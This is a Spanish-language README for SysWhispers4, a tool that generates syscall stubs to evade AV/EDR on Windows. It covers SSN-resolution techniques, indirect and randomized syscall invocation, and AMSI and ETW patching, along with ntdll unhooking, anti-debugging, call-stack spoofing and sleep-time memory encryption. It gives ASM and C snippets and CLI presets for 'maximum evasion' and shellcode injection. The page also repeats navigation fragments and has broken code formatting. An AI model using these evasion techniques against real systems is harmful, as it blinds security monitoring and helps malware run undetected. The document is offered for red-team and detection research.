SysWhispers4

Evasión de AV/EDR mediante llamadas al sistema directas e indirectas Windows NT 3.1 hasta Windows 11 24H2 · x64 · x86 · WoW64 · ARM64

SysWhispers4 es un generador de stubs de syscalls basado en Python que produce código C/ASM para invocar funciones del kernel NT directamente, omitiendo los hooks en modo usuario que los productos AV/EDR colocan en ntdll.dll.

Construido sobre el linaje de SysWhispers → SysWhispers2 → SysWhispers3, esta versión añade el conjunto más completo hasta la fecha de estrategias de resolución de SSN, métodos de invocación y capacidades de evasión.

Evolución: SysWhispers 1 → 4

Matriz de comparación de características

Característica	SW1	SW2	SW3	SW4
Resolución de SSN
Tabla estática embebida	✅	✅	✅	✅
Hell's Gate (parseo de ntdll en tiempo de ejecución)	❌	✅	✅	✅
Halo's Gate (escaneo de vecinos con hooks)	❌	❌	✅	✅
Tartarus' Gate (JMP cercano y lejano)	❌	❌	Partial	✅
FreshyCalls (ordenar por VA)	❌	❌	❌	✅ Nuevo
SyscallsFromDisk (ntdll limpio desde KnownDlls)	❌	❌	❌	✅ Nuevo
RecycledGate (FreshyCalls + validación de opcodes)	❌	❌	❌	✅ Nuevo
HW Breakpoint (registros DR + VEH)	❌	❌	❌	✅ Nuevo
Respaldo estático + dinámico	❌	❌	❌	✅ Nuevo
Métodos de invocación
Embebido (`syscall` directo)	✅	✅	✅	✅
Indirecto (jmp a gadget de ntdll)	❌	❌	✅	✅

† El método aleatorizado de SW3 tenía un bug de corrupción de registros — RDTSC sobrescribe edx (arg2). SW4 guarda correctamente rdx → r11 antes de rdtsc y lo restaura sin tocar la pila.

Novedades en v4.1

Nuevos métodos de resolución de SSN

SyscallsFromDisk (`--resolve from_disk`)

Mapea una copia limpia de ntdll desde \KnownDlls\ntdll.dll y lee los SSN de la sección .text sin hooks. Omite por completo todos los hooks inline — el EDR nunca ve la lectura.```c // Flow: NtOpenSection → NtMapViewOfSection → read clean SSNs → NtUnmapViewOfSection // SSNs come from the on-disk image, guaranteed hook-free SW4_SyscallsFromDisk(pNtdll);

#### RecycledGate (`--resolve recycled`)
Combina la fiabilidad de FreshyCalls (ordenar por VA) con la validación de opcodes de Hell's Gate. Para cada función:
1. Obtener el SSN candidato desde la posición ordenada (FreshyCalls)
2. Si el stub está limpio, verificar que el SSN coincida con el opcode (doble comprobación)
3. Si el stub está hookeado, confiar en el SSN del índice ordenado (resistente a hooks)

**El método más resiliente disponible** — incluso si los hooks reordenan los stubs o modifican los opcodes, el ordenamiento por VA entrega el SSN correcto.

#### HW Breakpoint (`--resolve hw_breakpoint`)
Utiliza **registros de depuración** (DR0–DR3) y un Vectored Exception Handler (VEH) para extraer SSNs sin leer los bytes de la función (potencialmente hookeados):
1. Establecer DR0 = dirección de la instrucción `syscall` en el stub de ntdll
2. Registrar el manejador VEH
3. Invocar el stub — el VEH captura `EXCEPTION_SINGLE_STEP`
4. En el breakpoint, EAX contiene el SSN — capturarlo
5. Limpiar DR0, omitir el syscall, continuar

Funciona incluso cuando los hooks redirigen la ejecución, porque el breakpoint se dispara después de `mov eax, <SSN>`.

### Nuevas Técnicas de Evasión

#### Bypass de AMSI (`--amsi-bypass`)
Parchea `amsi.dll!AmsiScanBuffer` para que devuelva `E_INVALIDARG`, haciendo que AMSI piense que los argumentos de escaneo son inválidos. Si `amsi.dll` no está cargada, devuelve éxito (nada que parchear).```c
SW4_PatchAmsi();  // Call early, before any suspicious operations

Desenganche de ntdll (`--unhook-ntdll`)

Mapea una copia limpia de ntdll desde \KnownDlls\ y sobrescribe la sección .text enganchada con los bytes limpios:```c // Call BEFORE SW4_Initialize() for best results SW4_UnhookNtdll(); // Remove ALL inline hooks from ntdll SW4_Initialize(); // Now FreshyCalls/Hell's Gate reads clean stubs

Esto elimina por completo todos los hooks en línea de ntdll, haciendo que las llamadas posteriores a la API de NT pasen por las rutas de código originales.

#### Anti-depuración (`--anti-debug`)
Realiza 6 comprobaciones para detectar la presencia de depuradores/análisis:

| Comprobación | Técnica | Detecta |
|-------|-----------|---------|
| 1 | `PEB.BeingDebugged` | Adjunto estándar de depurador |
| 2 | `NtGlobalFlag` (0x70) | Indicadores de depuración de montón establecidos por depuradores |
| 3 | Delta de temporización `RDTSC` | Ejecución paso a paso / rastreo |
| 4 | `NtQueryInformationProcess(ProcessDebugPort)` | Puerto de depuración del kernel |
| 5 | Análisis de indicadores de montón | Indicadores de depuración de montón |
| 6 | Detección de callbacks de instrumentación | Hooks de instrumentación EDR |```c
if (!SW4_AntiDebugCheck()) {
    // Debugger detected — bail out or take evasive action
    ExitProcess(0);
}

Cifrado durante suspensión (`--sleep-encrypt`)

Estilo Ekko de cifrado de memoria durante la suspensión para evadir escáneres de memoria periódicos:

Generar clave XOR aleatoria mediante RDTSC
Cifrar con XOR su propia sección .text
Configurar un temporizador esperable + poner en cola una APC para descifrar
Suspender en estado alertable
El temporizador se dispara → la APC descifra .text → la ejecución se reanuda```c // Instead of Sleep(5000), use: SW4_SleepEncrypt(5000); // .text is encrypted during the entire sleep

Neutraliza:
- Escáneres de memoria durante el sueño (el código es basura cifrada)
- Escaneos periódicos de módulos (las firmas no coincidirán)
- Escaneos YARA/de firmas sobre PE en memoria

---

## Todas las características (existentes + nuevas)

### Métodos de resolución de SSN (8 en total)

| Método | Flag | Resistencia a hooks | Velocidad | Notas |
|--------|------|:-:|:-:|-------|
| Static | `--resolve static` | Ninguna | Más rápida | Tabla j00ru incrustada, sin análisis en tiempo de ejecución |
| Hell's Gate | `--resolve hells_gate` | Baja | Rápida | Lee bytes de opcode — falla si está hookeado |
| Halo's Gate | `--resolve halos_gate` | Media | Rápida | Escaneo de vecinos (±8 stubs) |
| Tartarus' Gate | `--resolve tartarus` | Alta | Rápida | Detecta hooks E9/FF25/EB/CC, ±16 vecinos |
| FreshyCalls | `--resolve freshycalls` | **Muy alta** | Media | Ordena por VA — no lee bytes de función |
| SyscallsFromDisk | `--resolve from_disk` | **Máxima** | Lenta | Mapea ntdll limpio desde disco |
| RecycledGate | `--resolve recycled` | **Máxima** | Media | FreshyCalls + validación cruzada de opcodes |
| HW Breakpoint | `--resolve hw_breakpoint` | **Máxima** | Lenta | Registros DR + VEH |

### Métodos de invocación (4 en total)

| Método | Flag | RIP en ntdll | Syscall en disco | Aleatorio por llamada |
|--------|------|:-:|:-:|:-:|
| Embedded | `--method embedded` | ❌ | ✅ | ❌ |
| Indirect | `--method indirect` | ✅ | ❌ | ❌ |
| Randomized | `--method randomized` | ✅ | ❌ | ✅ (64 gadgets) |
| Egg Hunt | `--method egg` | ❌ | ❌ | ❌ |

### Opciones de evasión (8 en total)

| Característica | Flag | Descripción |
|---------|------|-------------|
| Ofuscación | `--obfuscate` | Reordenamiento de stubs + 14 variantes de instrucciones basura |
| Cifrado de SSN | `--encrypt-ssn` | XOR con clave aleatoria en tiempo de compilación |
| Spoofing de pila | `--stack-spoof` | Dirección de retorno sintética desde ntdll |
| Bypass de ETW | `--etw-bypass` | Parchea `EtwEventWrite` para que devuelva ACCESS_DENIED |
| Bypass de AMSI | `--amsi-bypass` | Parchea `AmsiScanBuffer` para que devuelva E_INVALIDARG |
| Unhooking de ntdll | `--unhook-ntdll` | Reasigna `.text` limpio desde `\KnownDlls\` |
| Anti-Debug | `--anti-debug` | 6 comprobaciones de detección (PEB, tiempo, heap, etc.) |
| Cifrado de sleep | `--sleep-encrypt` | XOR estilo Ekko sobre `.text` durante el sleep |

---

## Inicio rápido```bash
git clone https://github.com/CyberSecurityUP/SysWhispers4
cd SysWhispers4

# Optional: update syscall table from j00ru (for --resolve static)
python scripts/update_syscall_table.py

# Common preset — FreshyCalls + direct syscall (recommended start)
python syswhispers.py --preset common

# Injection preset — indirect via Tartarus' Gate
python syswhispers.py --preset injection --method indirect --resolve tartarus

# Maximum evasion: all techniques combined
python syswhispers.py --preset stealth \
    --method randomized --resolve recycled \
    --obfuscate --encrypt-ssn --stack-spoof \
    --etw-bypass --amsi-bypass --unhook-ntdll \
    --anti-debug --sleep-encrypt

# Clean ntdll from disk — bypasses ALL hooks
python syswhispers.py --preset injection \
    --method indirect --resolve from_disk \
    --unhook-ntdll

# Hardware breakpoint SSN extraction
python syswhispers.py --functions NtAllocateVirtualMemory,NtCreateThreadEx \
    --resolve hw_breakpoint

# Egg hunt (no syscall opcode on disk)
python syswhispers.py \
    --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx \
    --method egg --resolve halos_gate

# ARM64 (Windows on ARM)
python syswhispers.py --preset common --arch arm64

# x86 / WoW64
python syswhispers.py --preset injection --arch x86

# MinGW / Clang (GAS inline assembly)
python syswhispers.py --preset common --compiler mingw

Referencia de línea de comandos```

python syswhispers.py [OPTIONS]

Evasion / Obfuscation: --obfuscate Randomize stub order + inject junk instructions --encrypt-ssn XOR-encrypt SSN table at rest --stack-spoof Include synthetic call stack frame helper --etw-bypass Include user-mode ETW patch function --amsi-bypass Include AMSI bypass (AmsiScanBuffer patch) --unhook-ntdll Include ntdll unhooking (remap from KnownDlls) --anti-debug Include anti-debugging checks (6 techniques) --sleep-encrypt Include Ekko-style sleep encryption

Output: --prefix PREFIX Symbol prefix (default: SW4) -o, --out-file OUTFILE Output filename base (default: SW4Syscalls) --out-dir OUTDIR Output directory (default: .)

Info: --list-functions Print all 64 supported NT functions and exit --list-presets Print all preset definitions and exit -v, --verbose Verbose output / traceback on error

---

## Archivos generados

| Archivo | Propósito |
|---|---|
| `SW4Syscalls_Types.h` | Definiciones de tipos NT — estructuras, enums, typedefs |
| `SW4Syscalls.h` | Prototipos de funciones + declaración de `SW4_Initialize()` + declaraciones de API de evasión |
| `SW4Syscalls.c` | Resolución de SSN en tiempo de ejecución + funciones auxiliares + implementaciones de evasión |
| `SW4Syscalls.asm` | Stubs de syscall en MASM (MSVC) |
| `SW4Syscalls_stubs.c` | Stubs de ensamblado en línea GAS (MinGW / Clang) |

---

## Integración (MSVC)

1. Añade los 4 archivos a tu proyecto de Visual Studio
2. Habilita MASM: **Proyecto → Personalizaciones de compilación → masm (.targets)**
3. Llama a las funciones de inicialización al inicio```c
#include "SW4Syscalls.h"

int main(void) {
    // Step 1 (optional): Remove ALL hooks from ntdll
    // Call BEFORE Initialize for best results
    SW4_UnhookNtdll();

    // Step 2: Resolve SSNs (required for all dynamic methods)
    if (!SW4_Initialize()) return 1;

    // Step 3 (optional): Evasion patches
    SW4_PatchEtw();    // Suppress user-mode ETW events
    SW4_PatchAmsi();   // Bypass AMSI scanning

    // Step 4 (optional): Verify clean environment
    if (!SW4_AntiDebugCheck()) {
        // Debugger detected — take evasive action
        return 0;
    }

    // Use NT functions directly — all via syscall, no API hooks
    PVOID base = NULL;
    SIZE_T size = 0x1000;
    NTSTATUS st = SW4_NtAllocateVirtualMemory(
        GetCurrentProcess(), &base, 0, &size,
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE
    );

    // Use encrypted sleep instead of Sleep()
    // SW4_SleepEncrypt(5000);  // .text encrypted during sleep

    return NT_SUCCESS(st) ? 0 : 1;
}

Integración (MinGW/Clang)```bash

x86_64-w64-mingw32-gcc -masm=intel
example.c SW4Syscalls.c SW4Syscalls_stubs.c
-o example.exe -lntdll

---

## Técnicas de Resolución de SSN

### Estático
Incorpora los números de syscall de la tabla j00ru incluida en el momento de la generación. Sin análisis de ntdll en tiempo de ejecución: la más rápida y sencilla. Una tabla incrustada es una señal de detección; usa métodos dinámicos para sigilo.

### FreshyCalls *(predeterminado — recomendado)*
Ordena todas las exportaciones `Nt*` de ntdll por dirección virtual. El índice ordenado = SSN. Funciona incluso si **todos** los stubs `Nt*` están hookeados: solo lee las VA, no los bytes de la función.

### Hell's Gate
Lee el opcode `mov eax, <SSN>` directamente de cada stub de ntdll:```
4C 8B D1 B8 [SSN_lo] [SSN_hi] 00 00

Falla cuando los primeros bytes del stub son sobrescritos por un hook de EDR.

Halo's Gate

Extiende Hell's Gate: cuando un stub está enganchado, escanea los stubs vecinos (±8) en la lista de exportaciones ordenada y deduce el SSN mediante aritmética de ±offset.

Tartarus' Gate

Extiende Halo's Gate para detectar todos los patrones de hook de EDR:

E9 xx xx xx xx — JMP relativo cercano
FF 25 xx xx xx xx — JMP absoluto lejano vía memoria
EB xx — JMP corto
CC — breakpoint int3
E8 xx xx xx xx — call (raro)

Escanea hasta 16 vecinos en ambas direcciones.

SyscallsFromDisk (omite TODOS los hooks)

Mapea una copia completamente limpia de ntdll desde \KnownDlls\ntdll.dll y lee los SSN de la sección .text intacta. Los hooks del EDR son irrelevantes: nunca leemos de la copia enganchada.

RecycledGate (el más resistente)

Combina FreshyCalls y Hell's Gate para obtener la máxima confianza:

Principal: índice ordenado por VA (FreshyCalls)
Validación: verificación cruzada de opcodes si el stub está limpio
Respaldo: confiar en el orden por VA si el stub está enganchado

Incluso si un EDR modifica tanto los hooks como las entradas de la tabla de exportaciones, el orden por VA sigue proporcionando el SSN correcto.

HW Breakpoint (avanzado)

Usa los registros de depuración de la CPU (DR0–DR3) para establecer breakpoints de hardware en las instrucciones syscall dentro de ntdll. Un Vectored Exception Handler (VEH) captura el breakpoint y lee el SSN desde EAX en ese punto. No lee ningún byte potencialmente manipulado.

Métodos de Invocación

Incrustado — Syscall Directo

syscall vive en tu stub. En la entrada al kernel, RIP apunta a tu PE — detectable por EDRs que verifican RIP no-ntdll.

Indirecto

Salta a un gadget syscall;ret prelocalizado dentro de ntdll.dll. En la entrada al kernel, RIP parece estar dentro de ntdll — idéntico a una llamada API legítima.

Indirecto Aleatorizado

Como el Indirecto, pero selecciona un gadget aleatorio de un pool de hasta 64 en cada llamada. Derrota las heurísticas de EDR que permiten direcciones específicas de gadgets de ntdll. Usa RDTSC para entropía — no se necesita ninguna llamada API.```asm SW4_NtAllocateVirtualMemory PROC mov r10, rcx ; arg1 → r10 (syscall ABI) mov r11, rdx ; SAVE rdx — rdtsc trashes edx! rdtsc ; eax:edx = TSC (clobbers edx) xor eax, edx ; mix and eax, 63 ; pool index (0..63) lea rcx, [SW4_GadgetPool] mov rcx, QWORD PTR [rcx + rax8] ; random gadget mov rdx, r11 ; RESTORE rdx mov eax, DWORD PTR [SW4_SsnTable + N4] jmp rcx ; → random ntdll syscall;ret SW4_NtAllocateVirtualMemory ENDP

### Búsqueda de huevos
Los stubs contienen un marcador de huevo aleatorio de 8 bytes en lugar de `syscall`. `SW4_HatchEggs()` escanea la sección `.text` al inicio y reemplaza cada huevo con `0F 05 90 90 90 90 90 90`. **El opcode `syscall` no aparece en el binario en disco.**

---

## Panorama de detección de EDR

| Vector de Detección | Incrustado | Indirecto | Aleatorizado | Huevo |
|---|:-:|:-:|:-:|:-:|
| Bypass de hooks en modo usuario | ✅ | ✅ | ✅ | ✅ |
| RIP dentro de ntdll durante la syscall | ❌ | ✅ | ✅ | ❌ |
| Sin `0F 05` en el binario en disco | ✅¹ | ✅ | ✅ | **✅** |
| Gadget aleatorio por llamada | ❌ | ❌ | **✅** | ❌ |
| Pila de llamadas limpia | con `--stack-spoof` | con `--stack-spoof` | con `--stack-spoof` | con `--stack-spoof` |
| Evasión de escaneo de memoria durante la suspensión | con `--sleep-encrypt` | con `--sleep-encrypt` | con `--sleep-encrypt` | con `--sleep-encrypt` |
| Bypass de ETW-Ti en el kernel | ❌ | ❌ | ❌ | ❌ |

¹ El opcode `syscall` está en la sección `.text` de tu PE — en la dirección de tu código, no en ntdll.

> **ETW-Ti** (`Microsoft-Windows-Threat-Intelligence`) se dispara dentro del kernel independientemente del método de invocación. Ninguna técnica de modo usuario puede evitarlo sin acceso al kernel.

---

## Análisis en profundidad de las técnicas de evasión

### Tabla de SSN cifrada con XOR (`--encrypt-ssn`)
Los valores de SSN se almacenan cifrados con XOR mediante una clave aleatoria de tiempo de compilación. Se descifran en el stub ASM justo antes de la syscall — ningún SSN en texto plano aparece en el binario en reposo.```c
#define SW4_XOR_KEY  0xDEADF00DU
// In SSN table: encrypted value
SW4_SsnTable[fi] = sortedIndex ^ SW4_XOR_KEY;

; In stub: decrypt before syscall
mov eax, DWORD PTR [SW4_SsnTable + N*4]  ; encrypted
xor eax, SW4_XOR_KEY                      ; decrypt
syscall

Spoofing de la pila de llamadas (`--stack-spoof`)

Un trampolín que reemplaza la dirección de retorno visible en la pila con un puntero hacia ntdll, haciendo que la cadena de llamadas parezca legítima ante los EDR que recorren la pila.```asm SW4_CallWithSpoofedStack PROC pop r11 ; save real return address push [SW4_SpoofReturnAddr] ; push ntdll address instead push r11 ; real address below (unreachable by walker) jmp rax ; execute target SW4_CallWithSpoofedStack ENDP

### Bypass de ETW (`--etw-bypass`)
Parchea `ntdll!EtwEventWrite` para que devuelva `STATUS_ACCESS_DENIED` inmediatamente, suprimiendo la entrega de eventos ETW en modo usuario.

> Esto **no** omite las devoluciones de llamada ETW-Ti en modo kernel. Úsalo únicamente en compromisos autorizados.

### Desenganche de ntdll (`--unhook-ntdll`)
Asigna un ntdll limpio desde `\KnownDlls\` y copia con `memcpy` la sección `.text` limpia sobre la enganchada:```
Flow: NtOpenSection → NtMapViewOfSection → FindSection(".text") →
      VirtualProtect(RWX) → memcpy(clean→hooked) → VirtualProtect(RX) → cleanup

Llame antes de SW4_Initialize() para asegurarse de que la resolución de SSN lea stubs limpios.

Instrucciones basura (`--obfuscate`)

14 variantes diferentes de instrucciones x64 inofensivas inyectadas entre las instrucciones del stub:```asm nop ; classic NOP xchg ax, ax ; 2-byte NOP lea r11, [r11] ; no-op LEA nop DWORD PTR [rax] ; multi-byte NOP xchg r11, r11 ; register swap (no-op) test r11d, 0ABh ; flags-only, result discarded push 042h / pop r11 ; push-pop noise fnop ; FPU no-op lea rsp, [rsp + 00h] ; stack identity LEA ; ... and more

---

## Funciones compatibles (64)```bash
python syswhispers.py --list-functions

Preajustes

Configuraciones recomendadas

Huella de detección mínima (Red Team)```bash

python syswhispers.py --preset stealth
--method randomized --resolve recycled
--obfuscate --encrypt-ssn --stack-spoof
--unhook-ntdll --etw-bypass --amsi-bypass
--anti-debug --sleep-encrypt

### Rápido y simple (CTF / Pruebas rápidas)```bash
python syswhispers.py --preset common

Bypass a EDR Altamente Hookeado```bash

python syswhispers.py --preset injection
--method indirect --resolve from_disk
--unhook-ntdll --encrypt-ssn

### Process Doppelganging```bash
python syswhispers.py --preset transaction \
    --method indirect --resolve freshycalls

Cobertura de la Tabla de Syscalls

Actualizado mediante scripts/update_syscall_table.py desde j00ru/windows-syscalls:

SO	Compilaciones Cubiertas
Windows 7	SP1 (7601)
Windows 8 / 8.1	RTM (9200, 9600)

Soporte de Arquitecturas

Estructura del Proyecto```

SysWhispers4/ ├── syswhispers.py # CLI entry point ├── core/ │ ├── models.py # Enums, dataclasses (8 resolution, 4 invocation methods) │ ├── generator.py # Code generation engine (~1900 lines) │ ├── obfuscator.py # Obfuscation: junk, eggs, XOR, string encryption │ └── utils.py # Hashes (DJB2, CRC32, FNV-1a), data loading ├── data/ │ ├── prototypes.json # 64 NT function signatures │ ├── presets.json # 8 function presets │ ├── syscalls_nt_x64.json # x64 SSN table (Win7–Win11 24H2) │ └── syscalls_nt_x86.json # x86 SSN table ├── scripts/ │ └── update_syscall_table.py # Auto-fetch latest j00ru table └── examples/ └── example_injection.c # Reference integration example

---

## Aviso de seguridad

SysWhispers4 es una herramienta de investigación de seguridad y pruebas de penetración autorizadas. Úsala únicamente:

- En sistemas que poseas o sobre los que tengas autorización escrita explícita para realizar pruebas
- En competiciones CTF
- Para investigación defensiva (comprender técnicas ofensivas para mejorar la detección)
- Para desarrollar firmas de productos de seguridad

El uso no autorizado contra sistemas que no posees es ilegal en la mayoría de las jurisdicciones.

---

## Referencias y créditos

| Recurso | Autor(es) |
|---|---|
| [SysWhispers](https://github.com/jthuraisamy/SysWhispers) | Jackson T. (jthuraisamy) |
| [SysWhispers2](https://github.com/jthuraisamy/SysWhispers2) | Jackson T. (jthuraisamy) |
| [SysWhispers3](https://github.com/klezVirus/SysWhispers3) | klezVirus |
| [Fork de SysWhispers3](https://github.com/RWXstoned/SysWhispers3) | RWXstoned |
| [Tablas de syscalls de Windows](https://github.com/j00ru/windows-syscalls) | j00ru |
| [Hell's Gate](https://github.com/am0nsec/HellsGate) | am0nsec, RtlMclovin |
| [Halo's Gate](https://sektor7.net) | SEKTOR7 |
| [Tartarus' Gate](https://github.com/trickster0/TartarusGate) | trickster0 |
| [FreshyCalls](https://github.com/crummie5/FreshyCalls) | crummie5 |
| [RecycledGate](https://github.com/thefLink/RecycledGate) | thefLink |
| [Ekko Sleep Obfuscation](https://github.com/Cracked5pider/Ekko) | C5pider |
| [LayeredSyscall](https://whiteknightlabs.com/2024/07/31/layeredsyscall-abusing-veh-to-bypass-edrs/) | White Knight Labs |
| [Call Stack Spoofing](https://labs.withsecure.com/publications/spoofing-call-stacks-to-confuse-edrs) | WithSecure Labs |
| [Análisis de la evolución de SysWhispers](https://sudosiddharths.medium.com/analyzing-the-evolution-and-execution-of-syswhispers-1-3-74cbbcdaf397) | Siddharth S. |

---

## Licencia

Este proyecto se publica con fines educativos y de pruebas de seguridad autorizadas.

Memoria	`NtAllocateVirtualMemory` · `NtAllocateVirtualMemoryEx` · `NtFreeVirtualMemory` · `NtWriteVirtualMemory` · `NtReadVirtualMemory` · `NtProtectVirtualMemory` · `NtQueryVirtualMemory` · `NtSetInformationVirtualMemory`
Sección/Mapeo	`NtCreateSection` · `NtOpenSection` · `NtMapViewOfSection` · `NtUnmapViewOfSection`
Proceso	`NtOpenProcess` · `NtCreateProcess` · `NtCreateProcessEx` · `NtCreateUserProcess` · `NtTerminateProcess` · `NtSuspendProcess` · `NtResumeProcess` · `NtQueryInformationProcess` · `NtSetInformationProcess`
Hilo	`NtCreateThreadEx` · `NtOpenThread` · `NtTerminateThread` · `NtSuspendThread` · `NtResumeThread` · `NtGetContextThread` · `NtSetContextThread` · `NtQueueApcThread` · `NtQueueApcThreadEx` · `NtQueryInformationThread` · `NtSetInformationThread` · `NtAlertThread` · `NtAlertResumeThread` · `NtTestAlert`
Manejador/Sincronización	`NtClose` · `NtDuplicateObject` · `NtWaitForSingleObject` · `NtWaitForMultipleObjects` · `NtSignalAndWaitForSingleObject` · `NtCreateEvent` · `NtSetEvent` · `NtResetEvent` · `NtCreateTimer` · `NtSetTimer`
Archivo	`NtCreateFile` · `NtOpenFile` · `NtWriteFile` · `NtReadFile` · `NtDeleteFile`
Token	`NtOpenProcessToken` · `NtOpenThreadToken` · `NtQueryInformationToken` · `NtAdjustPrivilegesToken` · `NtDuplicateToken` · `NtImpersonateThread`
Transacción	`NtCreateTransaction` · `NtRollbackTransaction` · `NtCommitTransaction`
Varios	`NtDelayExecution` · `NtQuerySystemInformation` · `NtQueryObject` · `NtFlushInstructionCache` · `NtContinue`

`common`	25	Operaciones generales de procesos/hilos/memoria
`injection`	20	Inyección de shellcode, inyección APC, mapeo de secciones
`evasion`	15	Evasión de AV/EDR, consulta de procesos, manipulación de memoria
`token`	6	Manipulación de tokens, suplantación de identidad, escalada de privilegios
`stealth`	32	Evasión máxima: inyección + evasión + soporte para unhooking
`file_ops`	7	E/S de archivos mediante syscalls NT
`transaction`	7	Process doppelganging / reversión de transacciones
`all`	64	Todas las funciones compatibles

x64	`syscall`	`eax`	Todos (embedded, indirect, randomized, egg)
x86	`sysenter`	`eax`	Embedded + Egg
WoW64	`syscall` (64-bit)	`eax`	Todos (stubs x64 desde PE de 32 bits)
ARM64	`svc #0`	`w8`	Embedded

SysWhispers4

Más Populares

SysWhispers4

Evolución: SysWhispers 1 → 4

Matriz de comparación de características

Novedades en v4.1

Nuevos métodos de resolución de SSN

SyscallsFromDisk (--resolve from_disk)

Desenganche de ntdll (--unhook-ntdll)

Cifrado durante suspensión (--sleep-encrypt)

Referencia de línea de comandos```

Integración (MinGW/Clang)```bash

Halo's Gate

Tartarus' Gate

SyscallsFromDisk (omite TODOS los hooks)

RecycledGate (el más resistente)

HW Breakpoint (avanzado)

Métodos de Invocación

Incrustado — Syscall Directo

Indirecto

Indirecto Aleatorizado

Spoofing de la pila de llamadas (--stack-spoof)

Instrucciones basura (--obfuscate)

Preajustes

Configuraciones recomendadas

Huella de detección mínima (Red Team)```bash

Bypass a EDR Altamente Hookeado```bash

Cobertura de la Tabla de Syscalls

Soporte de Arquitecturas

Estructura del Proyecto```

SyscallsFromDisk (`--resolve from_disk`)

Desenganche de ntdll (`--unhook-ntdll`)

Cifrado durante suspensión (`--sleep-encrypt`)

Spoofing de la pila de llamadas (`--stack-spoof`)

Instrucciones basura (`--obfuscate`)